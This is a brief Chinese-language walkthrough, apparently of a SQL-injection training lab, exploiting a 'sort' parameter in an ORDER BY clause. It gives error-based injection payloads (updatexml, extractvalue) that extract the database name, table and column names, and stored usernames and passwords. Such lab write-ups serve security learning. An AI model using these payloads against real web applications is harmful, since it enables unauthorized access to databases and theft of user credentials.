从提示可以看出传递的参数为sort
使用sort的值为1尝试
得到一张表格
再次使用sort的值为2进行测试
表格发生变化按照第二列进行排序了得出这里是order by语句进行查询输出
将参数改为1'进行测试
有报错信息可以使用报错注入
爆破数据库名
输入?sort=updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆破表名
输入?sort=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+
爆破所以列名
输入?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)
爆出数据
输入?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)